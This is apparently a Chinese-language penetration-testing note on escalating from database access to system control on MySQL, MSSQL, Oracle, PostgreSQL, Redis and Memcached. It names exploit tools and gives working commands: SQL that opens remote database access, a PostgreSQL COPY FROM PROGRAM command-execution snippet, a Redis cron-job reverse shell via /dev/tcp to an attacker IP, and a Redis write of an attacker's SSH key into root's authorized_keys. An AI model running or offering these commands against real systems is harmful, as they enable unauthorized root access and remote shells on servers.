权限提升-2

数据库提权

数据库提权流程:

1、先获取到数据库用户密码

  • 网站存在SQL注入漏洞
  • 数据库的存储文件或备份文件
  • 网站应用源码中的数据库配置文件
  • 采用工具或脚本爆破(需解决外联问题)

2、利用数据库提权项目进行连接

工具提权:
MDUT
Databasetools
RequestTemplate
https://github.com/SafeGroceryStore/MDUT
https://github.com/Hel10-Web/Databasetools
https://github.com/1n7erface/RequestTemplate

3、可利用建立代理解决不支持外联

  • 利用已知Web权限建立代理(等同于本地连接)
  • 利用已知权限执行SQL开启外联(让数据库支持外联)

mysql

1
2
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;

mssql

1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

oracle

1
2
3
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP;

4、可利用数据库提权类型条件及技术

  • MYSQL:PHP+MYSQL 以web入口提权
    条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
    技术:UDF MOF 启动项 反弹Shell

  • MSSQL:.NET+MSSQL 以web入口提权
    条件:sa密码
    技术:xp_cmdshell sp_oacreate CLR 沙盒

  • Oracle:(站库分离,非JSP,直接数据库到系统等)
    条件:数据库用户密码
    技术:DBA。普通用户,注入模式

  • PostgreSQL
    Web到系统
    条件:数据库库用户密码
    技术:CVE-2019-9193 UDF libc
    提权原理:

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output test);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
  • Redis
    数据库到linux
    条件:利用未授权或密码连接后执行

1,定时任务反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

1
2
3
4
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n\n\n"
config set dbfilename x
save

注意:Centos会忽略乱码取执行格式正确的任务计划,而ubuntu并不会忽略这些代码,所有导致命令执行失败

2,写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可以远程写入公钥,直接登录远程服务器

1
2
3
4
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")
cat key.txt | redis-cli -h 目标IP -x set xxx

//上述步骤在自己的攻击机器上执行

1
2
3
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
  • Memcached
    数据库到linux
    条件:设置远程可访问或取得本地权限后访问

是一套常用的key-value缓存系统,由于它本身没有权限控制模块,
服务被攻击者发现,通过命令交互可以直接读取memcached中的敏感信息。